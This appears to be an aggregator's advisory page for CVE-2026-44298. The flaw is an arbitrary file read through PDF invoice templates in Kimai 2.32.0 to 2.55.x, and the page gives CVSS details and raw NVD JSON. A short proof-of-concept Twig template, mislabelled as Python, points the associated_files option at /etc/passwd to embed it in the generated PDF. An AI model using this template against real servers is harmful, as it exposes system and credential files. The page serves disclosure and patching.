Security Vulnerability Report
中文
CVE-2026-44298 CVSS 4.1 MEDIUM

CVE-2026-44298

Published: 2026-05-08 04:16:24
Last Modified: 2026-05-08 20:01:42

Description

Kimai is an open-source time tracking application. From version 2.32.0 to before version 2.56.0, users with the role System-Admin (ROLE_SYSTE_ADMIN) and the permission upload_invoice_template can upload PDF invoice templates, which can call pdfContext.setOption('associated_files', ...) inside the sandboxed Twig render. This is forwarded to mPDF's SetAssociatedFiles(), whose writer calls file_get_contents($entry['path']) during PDF output and embeds the bytes as a FlateDecode stream in the PDF. Any file readable by the PHP worker is returned to the attacker inside the rendered invoice. This issue has been patched in version 2.56.0.

CVSS Details

CVSS Score
4.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:kimai:kimai:*:*:*:*:*:*:*:* - VULNERABLE
Kimai >= 2.32.0, < 2.56.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
{# Malicious Twig template for Kimai PDF Invoice #} {# Exploiting CVE-2026-44298 to read /etc/passwd #} <h1>Invoice</h1> <p>Please find the attached invoice details.</p> {# Set the associated file option to point to a sensitive file #} {% set target_file = '/etc/passwd' %} {{ pdfContext.setOption('associated_files', [{'name': 'leak', 'path': target_file}]) }}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44298", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:24.230", "lastModified": "2026-05-08T20:01:41.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kimai is an open-source time tracking application. From version 2.32.0 to before version 2.56.0, users with the role System-Admin (ROLE_SYSTE_ADMIN) and the permission upload_invoice_template can upload PDF invoice templates, which can call pdfContext.setOption('associated_files', ...) inside the sandboxed Twig render. This is forwarded to mPDF's SetAssociatedFiles(), whose writer calls file_get_contents($entry['path']) during PDF output and embeds the bytes as a FlateDecode stream in the PDF. Any file readable by the PHP worker is returned to the attacker inside the rendered invoice. This issue has been patched in version 2.56.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kimai:kimai:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.32.0", "versionEndExcluding": "2.56.0", "matchCriteriaId": "89508F96-AB37-476D-82CD-B4750C90BDD8"}]}]}], "references": [{"url": "https://github.com/kimai/kimai/releases/tag/2.56.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/kimai/kimai/security/advisories/GHSA-h5fh-7hwr-97mw", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}